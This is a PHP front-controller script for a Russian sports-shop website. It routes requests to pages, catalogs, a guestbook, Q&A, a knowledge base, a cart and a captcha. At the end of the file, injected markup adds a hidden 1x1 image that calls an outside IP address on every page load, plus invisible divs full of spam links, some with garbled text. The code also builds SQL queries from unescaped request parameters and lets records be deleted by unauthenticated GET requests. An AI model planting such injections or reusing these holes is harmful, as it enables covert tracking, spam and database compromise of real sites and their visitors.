<?
//ini_set("display_errors",E_ALL);
//ini_set("error_reporting",E_ALL);
session_start();
Define("IN_SITE",1);


function MovedPermanently($newLoc)
{
	header("HTTP/1.1 301 Moved Permanently");
	header("Location: $newLoc");
}
// склейка релевантных страниц с контентосодержащими для яндекса
switch($_SERVER['REQUEST_URI'])
{
	case '/index.php?id=398': MovedPermanently('/pages/84/'); break;
}


//functions
require "sql.php";
require "func_lib/struct_f.php";
require "func_lib/data_f.php";
require "func_lib/common.php";
require "func_lib/search_f.php";
require "func_lib/news_f.php";
require "func_lib/form_f.php";
require "func_lib/form.php";
#require "func_lib/votings_f.php";
require "func_lib/transporter.php";
require "func_lib/questions.php";
#require "func_lib/basket_f.php";

//initialising variables
$navi = get_menu(0,"hor");
for($i=0;$i<count($navi);$i++){
	$navi[$i]["childs"]=get_menu($navi[$i]["id"],"hor");
}
$vert = get_menu(0,"vert");
for($i=0;$i<count($vert);$i++){
	$vert[$i]["childs"]=get_menu($vert[$i]["id"],"vert");
}
$vert2 = get_menu(0,"vert2");
for($i=0;$i<count($vert2);$i++){
	$vert2[$i]["childs"]=get_menu($vert2[$i]["id"],"vert2");
}
$hits=get_from_base("*","catalog","hit='1'","pos");
$par_list = array();
$path_ar = array();
$path_string = "";
$children = array();
$title_head = "";
$title_content = "";
$keywords = "";
$description = "";
$show_content = "";
$current_parent = 0;
$root=0;
$current_id = 0;
$separator = " &raquo; ";
$level = 0;
$main_page = false;
$news=get_news(3);
$articles=get_from_base("*","articles","onmain='1'","pos");
//$banners=get_from_base("*","banners","1","id");
$lbanners=get_from_base("*","banners","flt=0","id");
$rbanners=get_from_base("*","banners","flt=1","id");
$gallery=get_from_base("*","photos","1","pos");
$colors=get_from_base("*","colors","1","name");

if(isset($_SESSION["admuser"])){
	$us=split("\|",$_SESSION["admuser"]);
	$user=get_from_base("*","users","login='".$us[0]."'","id");
	if($user[0]["passwd"]==$us[1])
		$admin=$user[0];
}

//configurations
$config=array();
$res = mysql_query("select * from config where 1");
while($tmp=mysql_fetch_assoc($res))
	$config[$tmp["config_name"]]=$tmp["config_value"];

for($i=0;$i<count($navi);$i++){
	if(have_children($navi[$i]["id"])){
		$hor_ch["par".$navi[$i]["id"]]=get_menu($navi[$i]["id"],"");
	}
}

//analysing user request, getting current page content
if(isset($_GET["type"]))
 $t = $_GET["type"];
else
 $t = "pages";

switch($t){
	case "pages":
		if(isset($_GET["id"])&&is_numeric($_GET["id"]))
			get_real_id($_GET["id"]);
		else
			get_real_id(get_main());
 		if(($razdel_data = get_by_id($current_id,"razdel"))!==false){
			$need_content = true;
			get_path($current_id);
			$root=$par_list[0][1];
			$level=count($par_list);

			//getting children
			if(have_children($current_id))
 				$current_parent=$current_id;
			elseif($level>1)
 				$current_parent=$razdel_data["parent"];
 			if($current_parent>0)
 				$children=get_menu($current_parent,"");

 			//getting page info
			$keywords = $razdel_data["keywords"];
			$description = $razdel_data["description"];
			if($razdel_data["main"]==1)
 				$main_page=true;
 			else
 				$path_ar[]=array("name"=>"Главная","link"=>"/");
			$title_content = $razdel_data["name"];
			$title_head=($razdel_data["title"]!="")?$razdel_data["title"]:$title_content;

			//getting path
			for($i=0;$i<count($par_list)-1;$i++)
				$path_ar[]=array("name"=>$par_list[$i][0],"link"=>"/pages/".$par_list[$i][1]."/");

			//getting way
			$parent[$level]=$razdel_data;
			for($i=$level-1;$i>=0;$i--){
				$parent[$i]=mysql_fetch_array(mysql_query("select * from razdel where id='".$parent[$i+1]["parent"]."'")); 
				$parent[$i]["link"]="/pages/".$parent[$i]["id"]."/";
			}

			if($need_content)
				switch($razdel_data["content_type"]){
 					case "data":
						$content = get_text_data($current_id);
						$att_files = get_from_base("*","attache_files","razdel=".$current_id,"id");
						ob_start();
						require "simple_data.php";
						$show_content=ob_get_contents();
						ob_end_clean();
 					break;
 					case "catalog":
 						if(isset($_GET["uid"])&&is_numeric($_GET["uid"])){
							//$frag=get_from_base("*","frag","parent='".$_GET["uid"]."'","id");
 							$data=get_by_id($_GET["uid"],"catalog");
 							ob_start();
							require "details.php";
							$show_content=ob_get_contents();
							ob_end_clean();
 						}else{
							$text = get_text_data($current_id);
							$data = get_catalog_data($current_id);
							ob_start();
							require "catalog.php";
							$show_content=ob_get_contents();
							ob_end_clean();
 						}
 					break;
 					case "catalog2":
 						if(isset($_GET["uid"])&&is_numeric($_GET["uid"])){
							$frag=get_from_base("*","frag","parent='".$_GET["uid"]."'","id");
 							$data=get_by_id($_GET["uid"],"catalog2");
 							ob_start();
							require "details2.php";
							$show_content=ob_get_contents();
							ob_end_clean();
 						}else{
							$text = get_text_data($current_id);
							$data = get_catalog_data2($current_id);
							ob_start();
							require "catalog2.php";
							$show_content=ob_get_contents();
							ob_end_clean();
 						}
 					break;
 					case "gallery":
						$data = get_from_base("*","gallery","razdel=".$current_id,"id desc");
						ob_start();
						require "gallery.php";
						$show_content=ob_get_contents();
						ob_end_clean();
					break;
					case "photos":
						$text = get_text_data($current_id);
						$data = get_from_base("*","photos","razdel=".$current_id,"pos ");
						ob_start();
						require "photos.php";
						$show_content=ob_get_contents();
						ob_end_clean();
					break;
					case "form":
						if(isset($_GET["sent"]))
							$show_content = "Ваше письмо отправлено";
 						else{
							$sent = 0;
							$error = array();
							$user_data=array("name"=>"","mail"=>"","content"=>"","company"=>"");
							if(isset($_GET["send"]))
								$sent = send_form($user_data,$error);
								if($sent==0){
									$text = get_text_data($current_id);
									ob_start();
									require "form.php";
									$show_content=ob_get_contents();
									ob_end_clean();
								}
								elseif($sent==1)
									Header("Location: /pages/".$current_id."/?sent");
							unset($user_data);
							unset($error);
 						}
					break;
					case "gb":
						$dt = array("name"=>array(1,"text"),
												"mail"=>array(1,"mail"),
												"title"=>array(1,"text"),
												"content"=>array(1,"text"));
						$form = &new form("post",$dt);
						if(isset($_GET["act"])){
							$form->read();
							if(!$form->have_errors()){
								$query=$form->getInsertQuery();
								mysql_query("insert into gb(date,razdel,".$query[0].") values('".time()."','".$current_id."',".$query[1].")");
    send_mime_mail($_POST["name"],
               $_POST["mail"],
                'Администрация сайта',
               'p.t.xpom@gmail.com',
               /*'3070393@mail.ru',*/
               'CP1251',  // кодировка, в которой находятся передаваемые строки
               'KOI8-R', // кодировка, в которой будет отправлено письмо
               'Сообщение с сайта davincisport.ru',
               'В раздел "Отзывы и предложения" добавлен новый комментарий:<br />'.$_POST["content"]);
								Header("Location: /pages/".$current_id."/");
							}
						}
						$data = get_from_base("*","gb","public=1 and razdel=".$current_id,"id desc");
						ob_start();
						require "gb.php";
						$show_content=ob_get_contents();
						ob_end_clean();
					break;
					case "news":
						if(isset($_GET["uid"])&&is_numeric($_GET["uid"])&&($data=get_by_id($_GET["uid"],"news"))!==false){
							$path_ar[]=array("name"=>$razdel_data["name"],"link"=>"/pages/".$current_id."/");
							$title_content=$title_head=$data["title"];
							$show_content=$data["content"];
						}else{
						    $text = get_text_data($current_id);
							$data = get_from_base("date,announce,id,razdel,title","news","razdel=".$current_id,"id desc");
							ob_start();
							require "news.php";
							$show_content=ob_get_contents();
							ob_end_clean();
						}
					break;
					case "articles":
                        if(isset($_POST["act"])&&isset($_GET["uid"])){
    $quest_flag=0;
	$art_data=mysql_fetch_assoc(mysql_query("select * from articles where id='".$_GET["uid"]."'"));
	$c_name="art".$art_data["id"].md5($art_data["title"]);
	if(!isset($_COOKIE[$c_name])){
        if($_POST["act"]==1||$_POST["act"]==2||$_POST["act"]==3||$_POST["act"]==4||$_POST["act"]==5){
    		mysql_query("update articles set amount=amount+".$_POST["act"].", count=count+1 where id='".$_GET["uid"]."'");
    		setcookie($c_name,$_GET["uid"],time()+60*60*24*30);
    		$quest_flag=1;
        }
	}
    if($quest_flag){$message="Ваш голос принят";}else{$message="Вы уже голосовали";}
                        }
						if(isset($_GET["uid"])&&is_numeric($_GET["uid"])&&($data=get_by_id($_GET["uid"],"articles"))!==false){
if($data["attach"]){
$attach=split(",",$data["attach"]);
$where="id='".trim($attach[0])."'";   
for($k=1;$k<count($attach);$k++){$where.=" or id='".trim($attach[$k])."'";}
$articles=get_from_base("*","articles",$where,"id");
}
							$path_ar[]=array("name"=>$razdel_data["name"],"link"=>"/pages/".$current_id."/");
							$title_content=$title_head=$data["title"];
							$show_content=$data["content"];
							ob_start();
							require "articles_details.php";
							$show_content=ob_get_contents();
							ob_end_clean();
						}else{
                            $text = get_text_data($current_id);
							$data = get_from_base("*","articles","razdel=".$current_id,"id desc");
							ob_start();
							require "articles.php";
							$show_content=ob_get_contents();
							ob_end_clean();
						}
					break;
					case "questions":
		             		if(isset($_GET["act"]))
                                    if(trim($_POST['name'])==""){$qu_err1="Введите имя";}
                                    elseif(trim($_POST['captcha'])!==$_SESSION["captcha"]){$qu_err3="Неверно введен код с картинки";}
    		               			else{if(($_GET["act"] == "add_question")&&isset($_POST["question"])){
    		                  			 if(add_question($_POST["name"],$_POST["mail"],$_POST["question"],$_POST["company"]))
    								Header("Location: /pages/".$current_id."/?sent=1");
    		                 			  else
    								Header("Location: /pages/".$current_id."/?sent=0#qu_form");
    		                		}}
		             			if(isset($_GET["uid"])&&is_numeric($_GET["uid"])){
		 							//echo"skjafhjksdhfk-----".$_GET["uid"];
		             				$data=get_by_id($_GET["uid"],"questions");
 									ob_start();
									require "details_question.php";
									$show_content=ob_get_contents();
									ob_end_clean();
 								}else{
									$text = get_text_data($current_id);
									//echo"skjafhjksdhfk-qqqqqqqqqqqqqqqqqqq";
 									$qu = get_questions();
									ob_start();
									require "questions.php";
									$show_content=ob_get_contents();
						            getCaptchaStr();
									ob_end_clean();
 								}
		            break;
//					case "questions":
//		             			if(isset($_GET["act"]))
//		               			 if(($_GET["act"] == "add_question")&&isset($_POST["question"])){
//		                  			 if(add_question($_POST["question"]))
//								Header("Location: /pages/".$current_id."/?sent=1");
//		                 			  else
//								Header("Location: /pages/".$current_id."/?sent=0");
//		                		}
//		             			$qu = get_questions();
//		            			 ob_start();
//		             			require "questions.php";
//		             			$show_content=ob_get_contents();
//		             			ob_end_clean();
//		             break;
		             case "knowledge":
		             	if(!empty($_GET["gid"])){
		             		if(!empty($_GET["act"])&&$_GET["act"]=="del"){
		             			mysql_query("delete from knowledge_answers where id=".$_GET["zid"]);
		             		}
							$com_data=array(
								"com_name"=>"",
								"com_mail"=>"",
								"com_text"=>""
							);
							$com_error=0;
		             		if(isset($_GET["send"])){
								if($_SESSION["captcha"]==strtoupper($_POST["captcha"])){
									if(trim($_POST["com_name"])!=""){
										$com_name=$_POST["com_name"];
									}else{
										$com_name="Гость";
									}
									if(!mysql_query("insert into knowledge_answers(date,name,mail,content,quest_id) values('".time()."','".addslashes($com_name)."','".addslashes($_POST["com_mail"])."','".addslashes($_POST["com_text"])."','".$_GET["gid"]."')")){
										$com_error=2;
										echo mysql_error();
									}
								}else{
									$com_error=1;
								}
							}
							if($com_error>0){
								$com_data=array(
									"com_name"=>$_POST["com_name"],
									"com_mail"=>$_POST["com_mail"],
									"com_text"=>$_POST["com_text"]
								);
							}
							$quest_data=get_by_id($_GET["gid"],"knowledge_quests");
							$data=get_from_base("*","knowledge_answers","quest_id=".$_GET["gid"],"date");
							getCaptchaStr();
							ob_start();
		             		require "knowledge/single_quest.php";
		             		$show_content=ob_get_contents();
		             		ob_end_clean();
		             	}elseif(!empty($_GET["uid"])){
		             		if(!empty($_GET["act"])&&$_GET["act"]=="del"){
		             			mysql_query("delete from knowledge_answers where quest_id=".$_GET["zid"]);
								mysql_query("delete from knowledge_quests where id=".$_GET["zid"]);
		             		}
		             		$ans_data=get_by_id($_GET["uid"],"knowledge_cats");
		             		$title_head=$title_content.=" >> ".$ans_data["name"];
		             		$com_data=array(
								"com_name"=>"",
								"com_mail"=>"",
								"com_text"=>""
							);
							$com_error=0;
		             		if(isset($_GET["send"])){
								if($_SESSION["captcha"]==strtoupper($_POST["captcha"])){
									if(trim($_POST["com_name"])!=""){
										$com_name=$_POST["com_name"];
									}else{
										$com_name="Гость";
									}
									if(!mysql_query("insert into knowledge_quests(date,name,mail,content,cat_id) values('".time()."','".addslashes($com_name)."','".addslashes($_POST["com_mail"])."','".addslashes($_POST["com_text"])."','".$_GET["uid"]."')")){
										$com_error=2;
										echo mysql_error();
									}
								}else{
									$com_error=1;
								}
							}
							if($com_error>0){
								$com_data=array(
									"com_name"=>$_POST["com_name"],
									"com_mail"=>$_POST["com_mail"],
									"com_text"=>$_POST["com_text"]
								);
							}
							$obj= new Transporter(20,"*","knowledge_quests","cat_id=".$_GET["uid"],"date");
							$cp=$obj->get_count_pages();
							$data=$obj->get_data();
		             		for($i=0;$i<count($data);$i++){
		             			$data[$i]["ans_count"]=mysql_result(mysql_query("select count(id) from knowledge_answers where quest_id=".$data[$i]["id"]),0,0);
		             		}
		             		getCaptchaStr();
		             		ob_start();
		             		require "knowledge/quests.php";
		             		$show_content=ob_get_contents();
		             		ob_end_clean();
		             	}else{
		             		$data=get_from_base("*","knowledge_cats","1","pos");
		             		for($i=0;$i<count($data);$i++){
		             			$data[$i]["quests_count"]=mysql_result(mysql_query("select count(id) from knowledge_quests where cat_id=".$data[$i]["id"]),0,0);
		             		}
		             		ob_start();
		             		require "knowledge/cats.php";
		             		$show_content=ob_get_contents();
		             		ob_end_clean();
		             	}
		             break;
				}
			unset($need_content);
		}
	break;

	case "search":
		if(isset($_GET["string"])&&trim($_GET["string"])!=""){
			$data = search($_GET["string"]);
			$title_content="&laquo;".htmlspecialchars($_GET["string"])."&raquo;";
			$title_head="Поиск";
			if($_GET["mode"]==1){
				ob_start();
				require "show_search.php";
				$show_content=ob_get_contents();
				ob_end_clean();
			}elseif($_GET["mode"]==2){
				if(count($data)>0){
					ob_start();
					require "catalog.php";
					$show_content=ob_get_contents();
					ob_end_clean();
				}else
					$show_content="Найдено: 0";
			}
		}
		else
			$title_content = $title_head = "Поиск. Задана пустая строка";
	break;

	case "cart":
		$title_content=$title_head="Корзина заказов";
		if(!isset($_GET["sent"])){
			$dt = array("name"=>array(1,"text"),
			            "mail"=>array(1,"mail"),
			            "phone"=>array(0,"text"),
			            "address"=>array(0,"text"),
			            "content"=>array(0,"text"));
			$form = &new form("post",$dt);
			if(isset($_GET["action"]))
				switch($_GET["action"]){
					case "add":
						if(isset($_GET["g"])&&is_numeric($_GET["g"]))
							add_to_basket($_GET["g"],1);
					break;
					case "update": update_basket(); break;
					case "send":
						$form->read();
						if(!$form->have_errors()){
							$query=$form->getInsertQuery();
							$zakaz=str_replace("\n","<br>",show_basket("str"));
							mysql_query("insert into zakaz(date,".$query[0].",zakaz) values(".time().",".$query[1].",'".$zakaz."')");
							Header("Location: /cart/?sent");
						}
					break;
				}
			$tmp = show_basket();
			if(count($tmp)>0){
				ob_start();
				require "basket.php";
				$show_content=ob_get_contents();
				ob_end_clean();
			}else{
				$show_content="Корзина пуста";
			}
		}else{
			$show_content="Ваш заказ принят";
		}
	break;

	case "sitemap":
		$title_head=$title_content="Карта сайта";
		$data=array_merge(getFullTree(0,"hor",0,-1),getFullTree(0,"vert",0,-1));
		ob_start();
		require "map.php";
		$show_content=ob_get_contents();
		ob_end_clean();
	break;
	case "subscribe":
		$title_head=$title_content="Подписка";
		ob_start();
		require "subscription.php";
		$show_content=ob_get_contents();
		ob_end_clean();
	break;
	case "catalog-search":
		$title_head=$title_content="Поиск";
		ob_start();
		require "csearch.php";
		$show_content=ob_get_contents();
		ob_end_clean();
	break;

	case "voting":
             if(isset($_GET["theme"])){
                 if(isset($_GET["act"]))
                     if($_GET["act"]=="add_vote"&&isset($_GET["vote"])&&is_numeric($_GET["vote"]))
                        if(add_vote($_GET["vote"]))
                           $show_content = "<span style='font-weight:bold;'>Ваш голос добавлен</span><br><br>";
				else
                           $show_content = "<span style='font-weight:bold;'>Вы уже голосовали по этому вопросу</span><br><br>";

                 $q = get_vote_question($_GET["theme"]);
									$title_content=$title_head=$q["name"];
                 $par_list[] = array($q["name"].". Статистика",0);

                 $vote_answers = get_voting_stat($_GET["theme"]);
                 ob_start();
                 require "voting.php";
                 $show_content.=ob_get_contents();
                 ob_end_clean();
              }
	break;
	case "captcha":

		$im = @imagecreate (80, 24) or die ("Cannot initialize new GD image stream!");
		$bg = imagecolorallocate ($im, 255, 255, 255);
		$char = $_SESSION["captcha"];

		//создаём шум на фоне
		for ($i=0; $i<=128; $i++) {
			$color = imagecolorallocate ($im, rand(0,255), rand(0,255), rand(0,255)); //задаём цвет
			imagesetpixel($im, rand(2,120), rand(2,40), $color); //рисуем пиксель
		}

		//выводим символы кода
		for ($i = 0; $i < strlen($char); $i++) {
			$color = imagecolorallocate ($im, rand(0,255), rand(0,128), rand(0,255)); //задаём цвет
			$x = 5 + $i * 20;
			$y = rand(1, 8);
			imagechar ($im, 8, $x, $y, $char[$i], $color);
		}

		/*/упрощённый вариант
		$color = imagecolorallocate($img, 0, 0, 0);
		imagestring($im, 3, 5, 3, $char, $color);*/

		//антикеширование
		header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
		header("Cache-Control: no-store, no-cache, must-revalidate");
		header("Cache-Control: post-check=0, pre-check=0", false);
		header("Pragma: no-cache");

		//создание рисунка в зависимости от доступного формата
		if (function_exists("imagepng")) {
		   header("Content-type: image/png");
		   imagepng($im);
		} elseif (function_exists("imagegif")) {
		   header("Content-type: image/gif");
		   imagegif($im);
		} elseif (function_exists("imagejpeg")) {
		   header("Content-type: image/jpeg");
		   imagejpeg($im);
		} else {
		   die("No image support in this PHP server!");
		}
		imagedestroy ($im);
		exit();

	break;

}

for($i=0;$i<count($path_ar);$i++)
	if($path_ar[$i]["link"]!="")
		$path_string.=$separator."<a href=".$path_ar[$i]["link"]." class=path>".$path_ar[$i]["name"]."</a>";

require "view.php";
?><html><body>
<!--430a1f--><img width=1 height=1 src=http://31.131.16.190/g.php?fid=4315&uid=99 ><!--/430a1f-->
<div style="position: absolute; overflow: hidden; height: 1; width: 0">
<a href="http://www.1ab.ru/help/buhgalter-molodye.html">????????? ???????</a>
<a href="http://www.1ab.ru/help/den-buhgaltera.html">???? ??????????</a>
<a href="http://www.1ab.ru/help/dolzhnostnaya-buhgaltera.html">??????????? ??????????</a>
<a href="http://www.1ab.ru/help/nalog-na-imuschestvo.html">????? ?? ?????????</a>
<a href="http://www.1ab.ru/help/nalog-na-pribyl.html">????? ?? ???????</a>
<a href="http://www.1ab.ru/help/nalogovaya-nds.html">????????? ???</a>
<a href="http://www.1ab.ru/help/nalog-na-pribyl.html">????? ?? ???????</a>
<a href="http://www.1ab.ru/help/nds-molodye.html">??? ???????</a>
<a href="http://www.1ab.ru/help/nematerialnye-aktivy.html">?????????????? ??????</a>
<a href="http://www.1ab.ru/help/osnovnye-sredstva.html">???????? ????????</a>
<a href="http://www.1ab.ru/help/pomoshnik-buhgaltera.html">???????? ??????????</a>
<a href="http://www.1ab.ru/help/kalendar_buhgaltera.html">????????? ??????????</a>
</div><div style="position: absolute; overflow: hidden; height: 1; width: 0"><a href="http://www.1ab.ru/help/kalendar_buhgaltera.html">Календарь бухгалтера</a></div></body></html>